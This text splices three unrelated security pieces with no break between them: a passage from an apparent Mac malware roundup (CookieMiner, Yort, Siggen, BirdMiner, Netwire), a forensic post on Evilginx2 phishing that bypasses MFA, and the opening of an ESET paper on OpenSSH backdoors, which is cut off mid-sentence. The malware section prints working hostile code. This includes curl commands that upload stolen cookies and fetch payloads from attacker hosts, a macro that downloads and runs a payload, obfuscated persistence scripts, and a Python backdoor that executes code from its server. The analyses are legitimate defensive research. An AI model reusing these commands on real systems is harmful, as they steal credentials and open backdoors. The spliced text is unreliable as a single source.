then mkdir ${OUTPUT} cp Cookies.binarycookies ${OUTPUT}/Cookies.binarycookies zip -r interestingsafaricookies.zip ${OUTPUT} curl --upload-file interestingsafaricookies.zip http://46.226.108.171:8000 fi ``` Note though, the cookie file (`Cookies.binarycookies`) is only stolen if it contains cookies that are associated with cryptocurrency exchanges (such as Coinbase & Binance). The malware also extracts saved passwords and credit card information from Google Chrome, via a python script: "`CookieMiner` downloads a Python script named `harmlesslittlecode.py` to extract saved login credentials and credit card information from Chrome's local data storage." -Unit 42 ```bash curl -o harmlesslittlecode.py http://46.226.108.171/harmlesslittlecode.py python harmlesslittlecode.py > passwords.txt 2>&1 ``` Finally, CookieMiner attempts to locate and exfiltrate iPhone message files from any mobile backups (within MobileSync/Backup): ```bash cd ~/Library/Application\ Support/MobileSync/Backup BACKUPFOLDER="$(ls)" cd ${BACKUPFOLDER} SMSFILE="$(find . -name '3d0d7e5fb2ce288813306e4d4636395e047a3d28')" cp ${SMSFILE} ~/Library/Application\ Support/Google/Chrome/Default/${OUTPUT} ``` Armed with browser cookies, passwords, and even iPhone messages, the attacker may be able to access (and thus potentially drain) victims’ cryptocurrency accounts, even if 2FA is deployed! 🍪😱 ## OSX.Yort Yort is a Lazarus group (1st-stage?) implant, targeting cryptocurrency businesses. **Download**: OSX.Yort (password: infect3d) ### Infection Vector: Malicious Office Documents The SecureList report which details the attack and Yort malware states that: "The malware was distributed via documents carefully prepared to attract the attention of cryptocurrency professionals." -SecureList Analyzing one of the malicious files, we find embedded Mac-specific macro code: ```vba #If Mac Then #If VBA7 Then Private Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) ... Private Declare PtrSafe Function popen Lib "libc.dylib" (ByVal command As String, ByVal mode As String) As LongPtr #Else Private Declare Function system Lib "libc.dylib" (ByVal command As String) As Long Private Declare Function popen Lib "libc.dylib" (ByVal command As String, ByVal mode As String) As Long #End If #End If Sub AutoOpen() On Error Resume Next #If Mac Then sur = "https://nzssdm.com/assets/mt.dat" spath = "/tmp/": i = 0 Do spath = spath & Chr(Int(Rnd * 26) + 97): i = i + 1 Loop Until i > 12 res = system("curl -o " & spath & " " & sur) res = system("chmod +x " & spath) res = popen(spath, "r") End If End Sub ``` If a Mac user opens the document in Microsoft Office and enables macros, these malicious macros will be automatically executed (triggered via the AutoOpen() function). The macro logic: - downloads a file from `https://nzssdm.com/assets/mt.dat` (via curl) to the `/tmp/` directory - sets its permissions to executable (via chmod +x) - executes the (now executable) downloaded file, `mt.dat` (via popen) ### Persistence: None It does not appear that (this variant) of OSX.Yort persists itself. However, as a lightweight 1st-stage implant, persistence may not be needed, as noted in an analysis titled, “A Look into the Lazarus Group’s Operations in October 2019”: "The malware doesn't have a persistence, but by the fact that [it] can execute [any] command, the attacker can decide to push a persistence if this is necessary." ### Capabilities: 1st-stage implant, with standard backdoor capabilities. Yort (likely a 1st-stage implant) supports a variety of ‘standard’ commands, such as file download, upload, and the execution of arbitrary commands. Using macOS’s built-in file utility shows that mt.dat is a standard 64-bit macOS (Mach-O) executable. ```bash $ file Yort/A/mt.dat Yort/A/mt.dat: Mach-O 64-bit executable x86_64 ``` The strings command (executed with the -a flag) can dump (ASCII) strings that are embedded in the binary. In OSX.Yort’s case, these strings are rather revealing: ```bash $ strings -a Yort/A/mt.dat cache-control: no-cache content-type: multipart/form-data User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 ``` It is easy to confirm that the embedded URLs are the malware’s actual command and control servers, as when executed (in a VM), the malware attempts to connect out to (one of) these addresses for tasking: ```bash $ ./mt.dat * Trying 69.195.124.206... * Connected to baseballcharlemagnelegardeur.com (69.195.124.206) port 443 (#0) * SSL certificate problem: certificate has expired * stopped the pause stream! * Closing connection 0 ``` Another static analysis tool, nm can dump embedded symbols (such as method names and imported (system) functions): ```bash $ nm Yort/A/mt.dat ... 00000001000010f0 T _MainLoop 0000000100001810 T _RecvBlockData ... ``` This output indicates that the malware supports a variety of commands that are fairly common in first-stage implants and/or lightweight backdoors. - `ReplyCmd`: execute commands? - `ReplyDie`: kill implant? - `ReplyOtherShellCmd`: execute shell command? - `ReplyDown`: download a file? - `ReplyUpload`: upload a file? And references to the `curl_*` APIs likely indicate that the malware implements its networking logic via libcurl. Debugging the malware (via lldb) confirms that indeed the malware is leveraging libcurl. Here, for example, we see the malware setting the URL of its command and control server (baseballcharlemagnelegardeur.com) via the `curl_easy_setopt` function with the `CURLOPT_URL` parameter: ```bash $ lldb mt.dat * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 frame #0: 0x00007fff7d446b9b libcurl.4.dylib`curl_easy_setopt (lldb) p $rsi (unsigned long) $1 = 10002 (lldb) x/s $rdx 0x1000052a8: "https://baseballcharlemagnelegardeur.com/wp-content/languages/common.php" ``` The malware then connects to the specified server, via the `curl_easy_perform` function. If the malware receives a response (tasking) from the command and control server, it will act upon said response (via switch statement or jumptable). The logic that implements delegation of the received commands is found at address `0x0000000100004679` within the malware’s binary: ```assembly cmp eax, 17h ; switch 24 cases ja loc_100004A6D ; jumptable 0000000100004693 default case ``` ## OSX.Siggen Siggen, packaged in a fake WhatsApp application, is a persistent backdoor that allows remote attackers to download and execute (python) payloads. **Download**: OSX.Siggen (password: infect3d) ### Infection Vector: Trojaned (fake) WhatsApp Application “Phishing AI” @phishingai stated the following in a tweet: "This @WhatsApp #phishing/drive-by-download domain `message-whatsapp[.]com` is delivering malware via an iframe. The iframe delivers a custom response depending on the device detected. Mac malware is delivered via a zip file with an application inside." This @WhatsApp #phishing/drive-by-download domain message-whatsapp[.]com is delivering malware via an iframe. The iframe delivers a custom response depending on the device detected. Mac malware is delivered via a Zip file with an application inside. A screen capture from @phishingai’s tweet of the malicious message-whatsapp.com website shows how users could be tricked into manually downloading and installing what they believe is the popular WhatsApp messaging application: The download is a zip archive named `WhatsAppWeb.zip` …that (surprise, surprise) is not WhatsApp, but rather an application named `WhatsAppService`. ### Persistence: Launch Agent If the user is tricked into downloading and running the `WhatsAppService` application, it will persistently install a launch agent. The `WhatsAppService` was built using Platypus. This legitimate developer tool creates a standalone app from a script: "Platypus is a developer tool that creates native Mac applications from command line scripts such as shell scripts or Python, Perl, Ruby, Tcl, JavaScript and PHP programs. This is done by wrapping the script in a macOS application bundle along with an app binary that runs the script." It’s rather popular with (basic) Mac malware authors who are sufficient at creating malicious scripts but want to distribute their malicious creations as native macOS applications. When a “platypus” application is executed, it simply runs a file named `script` from within the app’s Resources directory. Taking a peek at the `WhatsAppService.app/Resources/script` file, we can see it persists a launch agent named `a.plist`: ```bash //Resources/script echo c2NyZWVuIC1kbSBiYXNoIC1jICdzbGVlcCA1O2tpbGxhbGwgVGVybWluYWwn | base64 -D | sh curl -s http://usb.mine.nu/a.plist -o ~/Library/LaunchAgents/a.plist launchctl load -w ~/Library/LaunchAgents/a.plist curl -s http://usb.mine.nu/c.sh -o /Users/Shared/c.sh ``` Specifically, it executes the following: ```bash curl -s http://usb.mine.nu/a.plist -o ~/Library/LaunchAgents/a.plist ``` The `a.plist` (that is downloaded from http://usb.mine.nu/) executes the `/Users/Shared/c.sh` file: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ...> <plist version="1.0"> <dict> <key>EnvironmentVariables</key> <dict> <key>PATH</key> <string>/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:</string> </dict> <key>KeepAlive</key> <true/> <key>Label</key> <string>com.enzo</string> <key>Program</key> <string>/Users/Shared/c.sh</string> <key>RunAtLoad</key> <true/> </dict> </plist> ``` As the `RunAtLoad` key is set to true in the `a.plist`, every time the user logs in, `c.sh` will be automatically (re)executed. ### Capabilities: Persistent Backdoor (download & execute (python) payloads) Recall the `WhatsAppService.app/Resources/script` is run when the user launches `WhatsAppService.app`. Let’s break down each line of this script: 1. `echo c2NyZWVuIC1kbSBiYXNoIC1jICdzbGVlcCA1O2tpbGxhbGwgVGVybWluYWwn | base64 -D | sh`: Decodes and executes `screen -dm bash -c 'sleep 5;killall Terminal'`, which effectively kills any running instances of Terminal.app. 2. `curl -s http://usb.mine.nu/a.plist -o ~/Library/LaunchAgents/a.plist`: Downloads and persists `a.plist` as a launch agent. 3. `echo Y2htb2QgK3ggfi9MaWJyYXJ5L0xhdW5jaEFnZW50cy9hLnBsaXN0 | base64 -D | sh`: Decodes and executes `chmod +x ~/Library/LaunchAgents/a.plist`, which (unnecessarily) sets `a.plist` to be executable. 4. `launchctl load -w ~/Library/LaunchAgents/a.plist`: Loads `a.plist`, which attempts to execute `/Users/Shared/c.sh`. However, (the first time this is run), `/Users/Shared/c.sh` has yet to be downloaded… 5. `curl -s http://usb.mine.nu/c.sh -o /Users/Shared/c.sh`: Downloads `c.sh` to `/Users/Shared/c.sh`. 6. `echo Y2htb2QgK3ggL1VzZXJzL1NoYXJlZC9jLnNo | base64 -D | sh`: Decodes and executes `chmod +x /Users/Shared/c.sh`, which sets `c.sh` to be executable. 7. `echo L1VzZXJzL1NoYXJlZC9jLnNo | base64 -D | sh`: Decodes and executes `/Users/Shared/c.sh`. And what does `/Users/Shared/c.sh` do? ```bash #!/bin/bash v=$( curl --silent http://usb.mine.nu/p.php | grep -ic 'open' ) p=$( launchctl list | grep -ic "HEYgiNb" ) if [ $v -gt 0 ]; then if [ ! $p -gt 0 ]; then echo IyAtKi0gY29kaW5n...AgcmFpc2UK | base64 --decode | python fi fi ``` After connecting to `usb.mine.nu/p.php` and checking for a response containing the string "open" and checking if a process named `HEYgiNb` is running, the script decodes a large block of base64 encoded data. This decoded data is then executed via python. After decoding the data, as expected, it turns out to be a python code: ```python # -*- coding: utf-8 -*- import urllib2 from base64 import b64encode, b64decode import getpass from uuid import getnode from binascii import hexlify def get_uid(): return hexlify(getpass.getuser() + "-" + str(getnode())) LaCSZMCY = "Q1dG4ZUz" data = { "Cookie": "session=" + b64encode(get_uid()) + "-eyJ0eXBlIj...ifX0=", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36" } try: request = urllib2.Request("http://zr.webhop.org:1337", headers=data) urllib2.urlopen(request).read() except urllib2.HTTPError as ex: if ex.code == 404: exec(b64decode(ex.read().split("DEBUG:\n")[1].replace("DEBUG-->", ""))) else: raise ``` This (decoded) python code matches the `HEYgiNb` file described in DrWeb’s analysis (“Mac.BackDoor.Siggen.20”). We can also locate this file on VirusTotal: `HEYgiNb.py`, and note that it is flagged by multiple engines. ## OSX.BirdMiner (OSX.LoudMiner) BirdMiner (or LoudMiner) delivers a linux-based cryptominer that runs on macOS via QEMU emulation. **Download**: OSX.BirdMiner (password: infect3d) ### Infection Vector: Pirated Applications `BirdMiner` was distributed via pirated (cracked) applications on the "VST Crack" website. Thomas Reed, the well-known Mac malware analyst and author of the "New Mac cryptominer... Bird Miner" writeup, states: "Bird Miner has been found in a cracked installer for the high-end music production software Ableton Live." ESET, who also analyzed the malware, discussed its infection mechanism as well. Specifically, their research uncovered almost 100 pirated applications all related to digital audio/virtual studio technology (VST) that, (like the cracked Ableton Live software package) likely contained the BirdMiner malware. Of course, users who downloaded and installed these pirated applications would become infected with the malware. It should be noted that the downloaded package (`Ableton Live Suite 10.1.pkg`) is unsigned, thus will be blocked by macOS. Rather amusingly though, an `Instructions.txt` file explicitly tells users how to (manually) sidestep this: "Important note: If you receive the following message: 'Can't be opened because it is from an unidentified developer.' Go into: 'System Preferences' > 'Security and Privacy' > 'General' and 'Allow' the installation with 'Open Anyway'." ### Persistence: Launch Daemons One of the pirated applications that is infected with OSX.BirdMiner is Ableton Live, “a digital audio workstation for macOS”. The infected application is distributed as a standard disk image; `Ableton.Live.10.Suite.v10.1.dmg`. When the disk image is mounted and the application installer (`Ableton Live Suite 10.1.pkg`) is executed, it will first request the user’s credentials: Now, with root privileges, BirdMiner can persist several launch daemons. This can be passively observed by via Objective-See’s FileMonitor utility: ```json { "event": "ES_EVENT_TYPE_NOTIFY_CREATE", "timestamp": "2019-12-03 06:36:21 +0000", "file": { "destination": "/Library/LaunchDaemons/com.decker.plist", "process": { "pid": 1073, "path": "/bin/cp", "uid": 0, "arguments": [], "ppid": 1000, "ancestors": [1000, 986, 969, 951, 1], "signing info": { "csFlags": 603996161, "signatureIdentifier": "com.apple.cp", "cdHash": "D2E8BBC6DB7E2C468674F829A3991D72AA196FD", "isPlatformBinary": 1 } } } } ``` The names of the property lists (com.decker.plist, com.tractableness.plist) and the names of the files they persist are randomly generated. ### Capabilities: Cryptomining Both files (vicontiel, and Tortulaceae, though recall these names are randomly generated) are bash scripts: ```bash # file /usr/local/bin/vicontiel /usr/local/bin/vicontiel: Bourne-Again shell script text executable, ASCII text ``` The `vicontiel` script will either unload the `com.tractableness.plist` launch daemon if the user has Activity Monitor running (likely for stealth reasons), or if not, will load the plist: ```bash # less /usr/local/bin/vicontiel pgrep "Activity Monitor" if [ $? -eq 0 ]; then launchctl unload -w /Library/LaunchDaemons/com.tractableness.plist sleep 900 else launchctl load -w /Library/LaunchDaemons/com.tractableness.plist fi ``` The `Tortulaceae` (executed by the `com.tractableness.plist`) will similarly unload the plist if Activity Monitor is running. However, if not, it will execute the following: ```bash /usr/local/bin/voteen -m 3G -accel hvf,thread=multi -smp cpus=2 --cpu host /usr/local/bin/archfounder -display none ``` As noted by Thomas Reed in his writeup, `/usr/local/bin/voteen` is actually the open-source emulator QEMU! QEMU is able to execute (via emulation) Linux binaries on systems that are not Linux (such as macOS). This begs the question, what is it executing? The `file` command (well, and Reed’s writeup) provide the answer: ```bash $ file /usr/local/bin/archfounder /usr/local/bin/archfounder: QEMU QCOW Image (v3), 527400960 bytes ``` The `archfounder` file (that is passed into QEMU (voteen)) is a QEMU QCOW image, which (thanks again to Reed’s analysis) we know is: “a bootable [Tiny Core] Linux system.” Ok, so we’ve got a persistent macOS launch daemon that’s executing a bash script, which (via QEMU) is booting a Linux system. But why? Reed again has the answer: "[the] `bootlocal.sh` file contains commands [that are automatically executed during startup] to get xmrig up and running." Thus, as soon as the Tiny Core system boots up, `xmrig` launches without ever needing a user to log in. So all that work to persist a Linux version of `xmrig` (a well-known cryptocurrency miner)? Yes! ## OSX.Netwire `Netwire` is a fully-featured persistent backdoor. Interestingly, while `Netwire.A` appeared on Apple's radar a few years ago, it only publicly emerged in 2019. **Download**: OSX.Netwire (password: infect3d) ### Infection Vector: Browser 0day It all started with an email sent our way, from a user (working at a cryptocurrency exchange) whose Mac had been infected …apparently via a browser 0day! "Last week Wednesday I was hit with an as-yet-unknown Firefox 0day that somehow dropped a binary and executed it on my mac (10.14.5). Let me know if you would be interested in analyzing the binary, might be something interesting in there wrt bypassing osx gatekeeper." Moreover, the user was able to provide a copy of the email that contained a link to the malicious website (people.ds.cam.ac.uk): Dear XXX, My name is Neil Morris. I’m one of the Adams Prize Organizers. Each year we update the team of independent specialists who could assess the quality of the competing projects: http://people.ds.cam.ac.uk/nm603/awards/Adams_Prize Our colleagues have recommended you as an experienced specialist in this field. We need your assistance in evaluating several projects for Adams Prize. Looking forward to receiving your reply. Best regards, Neil Morris Unfortunately, at the time of our analysis, the link (people.ds.cam.ac.uk/nm603/awards/Adams_Prize) returned a 404 Not Found. ### Persistence: Login Item & Launch Agent A quick peek at the malware’s disassembly reveals a launch agent plist, embedded directly within the binary: ```c memcpy(esi, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\n\t\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n <key>Label</key>\n <string>%s</string>\n <key>ProgramArguments</key>\n <array>\n <string>%s</string>\n </array>\n <key>RunAtLoad</key>\n <true/>\n <key>KeepAlive</key>\n <%s/>\n</dict>\n</plist>"); ``` It seems reasonable to assume the malware will persist as a launch agent. However, it also appears to contain logic to persist as a login item (note the call to the `LSSharedFileListInsertItemURL` API): ```c eax = __snprintf_chk(&var_6014, 0x400, 0x0, 0x400, "%s/Library/LaunchAgents/", eax); ``` Executing the malware (in VM) shows that it persists twice! First as a launch agent (`com.mac.host.plist`), and then as a login item. Let’s take a peek at the launch agent plist, `com.mac.host.plist`: ```bash $ cat ~/Library/LaunchAgents/com.mac.host.plist { KeepAlive = 0; Label = "com.mac.host"; ProgramArguments = ( "/Users/user/.defaults/Finder.app/Contents/MacOS/Finder" ); RunAtLoad = 1; } ``` As the `RunAtLoad` key is set to 1 (true), the OS will automatically launch the binary specified in the ProgramArguments array (`~/.defaults/Finder.app/Contents/MacOS/Finder`) each time the user logs in. The login item will also ensure the malware is launched. Login items, however, show up in the UI, clearly detracting from the malware’s stealth. Is persisting twice better than once? Not really, especially if you are running Objective-See’s lovely tools such as BlockBlock which detects both persistence attempts. ### Capabilities: (fully-featured) backdoor. Via (what was) a Firefox 0day, attackers remotely infected macOS systems with OSX.Netwire. Persistently installing the malware (`Finder.app`) afforded the attackers full remote access to compromised systems. Here, we briefly discuss the specific capabilities of the OSX.Netwire.A backdoor. For a detailed technical analysis of Netwire (that focuses specifically on uncovering its capabilities) see: ["Part II: A Firefox 0day drops a macOS Backdoor (OSX.Netwire.A)"](https://objective-see.com/blog/blog_0x44.html). After extracting the address of its command and control server from an encrypted (embedded) config file, Netwire connects to said server for tasking.
# Bypassing MFA: A Forensic Look at Evilginx2 Phishing Kit ## Is MFA Enough? Recently, Stroz Friedberg Incident Response Services encountered an uptick in compromises where multi-factor authentication (“MFA”) was not effective in keeping the threat actor out of the environment. Attack patterns to bypass MFA have been around for years, but some methods are becoming increasingly mainstream due to the increase in organizations adopting and implementing MFA. While there are dozens of ways for a threat actor to breach an account with MFA enabled, the post below covers the technical details of one technique that is easy to exploit, but difficult to prevent – proxy phishing sites. Proxy phishing sites are more advanced versions of the typical credential harvesting phishing page, as they enable interception of authentication tokens. Such sites are known as Man-in-the-Middle/Machine-in-the-Middle (“MitM”) or Adversary-in-the-Middle (“AitM”) sites as they stand between the victim user and a legitimate service that a threat actor is impersonating. There are several phishing kits available on GitHub that were created for use by red teams and penetration testers and allow threat actors to set up their own proxy phishing sites; Evilginx2, Modlishka, and EvilnoVNC are all phishing kits that have templates for popular services such as Okta®, Microsoft 365® (“M365”), Google Workspace, and others. Stroz Friedberg’s research tested Evilginx2 with M365 to determine whether there were any indicators of proxy usage in the authentication details. ## Evilginx2: An Operational Overview Developed between 2018 and 2021, Evilginx2 is an open-source phishing framework that is built on an earlier framework, EvilGinx. Evilginx2 is written in Go and comes with various built-in “phishlets” to mimic login pages for Citrix, M365, Okta, PayPal, GitHub, and other sites. It can be set up using basic server infrastructure and a custom domain to host the phishing site. For this testing, we purchased a domain, configured DNS, and ran a handful of commands to stand up a phishing site on a test server with the built-in O365 phishlet. Once the site is up and running, any users who visit the phishing link generated by Evilginx2 will be met with a page that looks identical to a legitimate Microsoft login page. Common security advice maintains that pages without the TLS lock icon in the URL bar should be a red flag of malicious activity – Evilginx2 requests a TLS certificate from Let’s Encrypt, a free certificate authority, meaning that its communications are secured with HTTPS, resulting in phishing sites that do have this lock icon. The only way for a regular user to tell this page apart from a legitimate login page is the URL. When the unsuspecting user enters their credentials into the fraudulent login page, the phishing site checks these with Microsoft to ensure that valid credentials were entered. After providing the correct credentials, the user is then prompted with a regular MFA challenge, in whatever methods they normally have enabled for their M365 account. In our test case, the account had SMS and calling options for MFA verification. If MFA is successfully approved, it will appear to the victim that they are logged in with their credentials. Efforts to access additional resources will require another sign-in as they are finally leaving the phishing site to access the real office.com. The user may be tipped off by the additional request for authentication, or by the fact that whatever was promised to them in the phishing email was not available, but many users may still not realize they were phished. On the other side of the scheme, the phishing site operator can run the sessions command from their Evilginx2 instance and view all captured credentials as well as details about any specific session and associated tokens. The threat actor can then copy the text of the cookie that is provided at the bottom of the session information and import it into a browser using any cookie modification plugin, such as EditThisCookie. When the threat actor refreshes the Microsoft sign-in page, they are logged in as the phished user. ## Forensic Findings While it may be difficult to positively identify the use of a proxy phishing site such as Evilginx2, there are fact patterns that examiners can rely on to indicate that an attacker may have stolen a user’s cookies through a phishing site. The following subsections will discuss Stroz Friedberg’s main observations, including: 1. Logins will still originate from anomalous IP addresses. 2. All attacker activity will have the same SessionId, even if the cookie is moved off the phishing server to be imported into a browser on another system. 3. Initial logins from the phishing server will appear as the victim’s legitimate user agent string. ### Anomalous IPs The typical methods of identifying email compromise still apply in this situation. Although it looks to the user like they are logging in through Microsoft, their credentials are being sent to Microsoft through the phishing site, so it is the phishing server’s IP address, and not the IP of the user’s system, that will appear in the logs for the initial login. ### Consistent Session ID While the phishing server IP address will show up for the first login through the phishing site, the IP address may change with subsequent logged activity. In typical adversary-in-the-middle attacks, the login occurs on the phishing server, and the threat actor will then move the cookie to a different machine to import into a browser. Because the cookie is the same, the SessionId in the Unified Audit Log (“UAL”) will be consistent between logins, even though they are coming from different IP addresses and/or user agents. The SessionId can be found under “DeviceProperties” for UserLoggedIn events in the UAL. ### User Agent Pattern For many unauthorized email access investigations, the investigator can often differentiate malicious activity from legitimate logins by the user agent, which represents the device type and client being used to access the account. Typically, threat actor activity will have a different user agent than the legitimate user because the threat actor is logging in from their own infrastructure. However, Evilginx2 captures the victim’s legitimate user agent string and sets its own user agent to mirror the legitimate user. This means that although the phishing site may be running on a Linux system, if the victim clicks the link using Firefox on a Windows 10 machine, the user agent recorded in the logs will reflect the Firefox on Windows 10 user agent string. In the sample UAL logs shown above, the mock victim during our testing accessed the phishing site using Windows 10 and the Opera browser – the same user agent that is reflected in the initial logins originating from the phishing server IP address. This attempt at blending into legitimate logins in authentication logs has substantial implications for investigators. Without a clearly anomalous user agent, the only clear indicator of compromise in the login event is the anomalous IP address. In a situation where the threat actor employs a botnet or other infrastructure belonging to regular residential internet service providers (“ISPs”), detection of this activity would be very difficult. In the second phase of the attack, once the cookies are captured, they can be imported into the threat actor’s browser. A threat actor may view the user agent from the captured session within Evilginx2 and spoof the user agent of their browser to match, but Stroz Friedberg has identified many occasions where threat actors have not bothered to continue matching their user agent to the victim’s. As such, there may be a detection opportunity when the threat actor imports cookies into their own browser and the user agent switches while the SessionId remains the same. ## Prevention Prevention against MFA bypass techniques is non-trivial, but there are several ways that organizations can lower the risk of successful compromise: ### Implement FIDO2 Authentication Hardware-based authentication mechanisms using FIDO2 protocols currently appear to be the best way to mitigate the risk of threat actors bypassing MFA in all forms. FIDO2 authentication uses cryptographic keys that are pre-registered with a service such as M365 to allow the user to authenticate to that site. The challenge presented to the FIDO2 device by the service includes details about the origin of the request, such as the URI of the site. Because of this, attempts to authenticate to a fraudulent phishing site using this authentication mechanism should fail. Examples of FIDO2 authentication include hardware tokens such as Yubikeys or a built-in solution on a user’s laptop such as Windows Hello. There is a risk of downgrade attacks on FIDO2 authentication, where alternative authentication methods are also made available. For example, an organization may have FIDO2 authentication as their primary method but may also allow one-time passwords (OTP) to be delivered via SMS or email as an alternative. In addition to this risk, there are logistical reasons why FIDO2 authentication may be difficult to implement. Switching to FIDO2 authentication is a big change for most users, and it comes with additional costs to organizations in many cases. ### Limit External Access Organizations that continue using typical push notifications, calls, or SMS as a second factor should consider using a layered security approach that includes limiting external access to user accounts. This is typically implemented by allowing access only from approved IP addresses, such as the IP range of the corporate VPN, or by requiring authenticating devices to be managed by the organization. These types of security controls can be very effective measures in making life difficult for threat actors. ### Other Layered Security Protocols Other important aspects of layered security that help to minimize the risk of this attack occurring in its earlier stages include spam filtering — either using your email platform’s built-in filtering functionality or using a third-party solution — and the use of a web proxy for filtering users’ web traffic. With web filtering, users can be blocked from visiting known phishing sites or other sites in categories that are considered risky. Additionally, organizations can also help guard against attacks by providing user training on how to better identify phishing emails and malicious websites. While shortening the lifetime of tokens will not prevent access to targeted accounts, it can limit the overall impact to the organization by helping to minimize the time that the threat actor has to accomplish their goals. In M365 specifically, administrators can modify the session lifetime – this can also be done for particular groups of users, such as administrators, through conditional access. Password resets in M365 will invalidate old persistent tokens, so this is an effective remediation step for accounts that have suffered this attack pattern. ## Closing Thoughts Cybersecurity is always evolving, and the abilities of threat actors to circumvent MFA does not come as a surprise. The concepts of token theft or adversary-in-the-middle attacks are not new, but with the number of organizations moving to secure their systems with MFA, threat actors are forced to use newer methods to obtain access to targeted accounts. These attacks threaten more than just email environments, as other services such as Okta, Citrix, and others are at risk of the same types of attack. The consequences of compromising these accounts could lead to a full-scale breach of the network, culminating in ransomware deployment, data theft, or installation of persistence for future use or sale of access. Threat actors can bypass MFA even without possessing the technical skills required to set up a proxy phishing site. Phishing-as-a-Service solutions are available for threat actors to subscribe to for a couple hundred dollars per month — much less than threat actors typically earn from even a single redirected wire transfer. Even simpler for threat actors, some users may just accept push notifications on their phone even when they did not initiate the login attempt. Threat actors have many methods for MFA circumvention at their disposal, and while MFA may at this time be a non-negotiable, must-have tool in cyber defense, it is not a bulletproof solution to security.
# ESET Research White Papers ## The Dark Side of the Forsshe ### A landscape of OpenSSH backdoors ### 1. Executive Summary A little more than three years ago we started hunting for OpenSSH backdoors being used in-the-wild. While we are always trying to improve defenses against Linux malware by discovering and analyzing examples, the scope of this hunt was specifically to catch server-side OpenSSH backdoors. Unfortunately, telemetry on Linux malware is not as readily available as it is on other platforms. Nonetheless, malicious OpenSSH binaries are quite common and have features that help us detect them among legitimate OpenSSH binaries. While, as soon as we got them, we used the samples collected to improve our detection, we only began sorting and analyzing them in 2018. Surprisingly, we discovered many new backdoor families that had never been documented before. We tried to gather as much information about each family we uncovered — for example, leaking the credentials, for honeypots we monitor, to the attackers. This paper is the result of this research and contains indicators of compromise that could help identify compromised servers. Here are the key points from our research: - We used knowledge gleaned from our Windigo investigation to extend our coverage of in-the-wild backdoors. - While there are multiple code bases for the various OpenSSH backdoors, most of them share similar basic features such as hardcoded credentials to activate a backdoor mode, and credential stealing. - We grouped all the samples we collected based on their code base and highlighted 21 different OpenSSH malware families. - Out of the 21 families we analyzed, 12 of them were undocumented at the time this paper was written (October 2018). - We have discovered that an SSH backdoor used by DarkLeech operators is the same as that used by Carbanak a few years later. - There is a wide spectrum of complexity in backdoor implementation, starting from off-the-shelf malware to obfuscated samples and network protocols. - Exfiltration techniques for stolen SSH credentials are creative and include SMTP (mail sent to malicious operator), HTTP, DNS, and even custom protocols using TCP and UDP. - OpenSSH backdoors are used both by crimeware and APT groups. Both use malware with similar sets of features and varying levels of complexity. ### 2. From Windigo to Sample Collection In March 2014 we released a paper about a large-scale Linux malware operation we named Windigo. At its core was an OpenSSH backdoor and credential stealer that we named Ebury. During this latest research, we discovered that more than 25,000 servers had been compromised and monetized via web redirection and spam. Since this research started in 2013, we have set up honeypots to capture new Ebury samples, to understand how they compromise machines, and track its activity. What we did not discuss in detail in our paper – but talked about a bit at conferences – is how the operators deploy Ebury once they capture new credentials. This process is highly automated and uses scripts in Perl, a very portable scripting language, to perform the various steps. The compromise process is typically something like: 1. **Reconnaissance** A 52 kB Perl script is piped through the SSH session and gathers as much information as possible about the system. It performs the following actions: - Erases logs that malicious SSH sessions may have created. - Attempts to detect the presence of a honeypot or whether the session might be monitored, using numerous tricks such as the presence of a library loaded using LD_PRELOAD or a ForceCommand option set in OpenSSH. - Detects which Linux distribution is used and what version it is. - Detects software installed on the system, such as OpenSSH, and their versions. - Checks for the presence of files created by OpenSSH backdoors known to the Windigo group. - Looks for the presence of an already installed OpenSSH backdoor by searching for byte patterns in the OpenSSH client (/usr/bin/ssh) and daemon (/usr/sbin/sshd). As of mid-2018, the script contains 47 signatures. - Steals credentials left on disk by other OpenSSH backdoors. - Checks for rootkits by comparing /proc/modules and /sys/module. 2. **Ebury Installation** If the system looks interesting to the attacker, another Perl script responsible for deploying Ebury is executed on the newly-compromised host; this script differs from one Linux distribution and version to another. The Ebury binary is embedded after Perl’s DATA token. This usually happens several days after the reconnaissance script is run. Package managers’ metadata (debsums, RPM) are altered to make it look legitimate. 3. **Monitoring** Using Ebury’s backdoor, compromised systems are polled daily to set the exfiltration server, gather credentials Ebury collected, and run a shell script to ascertain how the system was used (output of last, content of .bash_history, etc). #### 2.1 Windigo’s Backdoor Signatures In all of this, one particularly interesting aspect for us was Windigo’s detection of other OpenSSH backdoors. The first thing we did was to try to find samples, source code, or existing analysis that matched those signatures. Rapidly, we concluded that most of these signatures matched malware that was unknown to us and the broader security community. In short, the Windigo operators compromised so many servers that they could collect a bunch of OpenSSH backdoors, learn how to detect them, and steal the credentials that other backdoors were gathering. Here is an example signature found in a Windigo script: ```perl @sd = gs( ‘IN: %s@ \(%s\) ‘, ‘-B 2’ ); @sc = gc( ‘OUT=> %s@%s \(%s\)’, ‘-B 1’ ); if ( $sd[1] =~ m|^/| or $sc[0] =~ m|^/| ) { print “mod_sshd29: ‘$sd[0]’:’$sd[1]’:’$sd[2]’\nmod_sshc29: ‘$sc[0]’:’$sc[1’\n”; ssh_ls( $sd[1], $sc[0] ); } ``` The script has a number of helper functions to help find the signatures: - `gs`: Same as running the output of GNU strings on the OpenSSH server binary in grep (strings /usr/sbin/sshd | grep {pattern}). It has its own Perl implementation of strings and grep and supports grep’s -A, -B and -C parameters to inspect strings around the matching string. - `gc`: Same as gs but checks the client strings (/usr/bin/ssh). - `ssh_ls`: Print the content of files. Used to steal credentials collected by the detected backdoor. You may also notice that signatures are numbered. In the example above, mod_sshc29 is the 29th signature for the OpenSSH client (hence the “c”). One of the reasons they collect strings around the one that interests them is to find the path where credentials are written to disk. In this example, the path is the string before the one matching the search string. More complex signatures that involve detecting encryption of strings in the samples or credentials written to disk are also present. These are implemented in Perl to circumvent the obfuscation. There are also more “generic” signatures to catch unknown 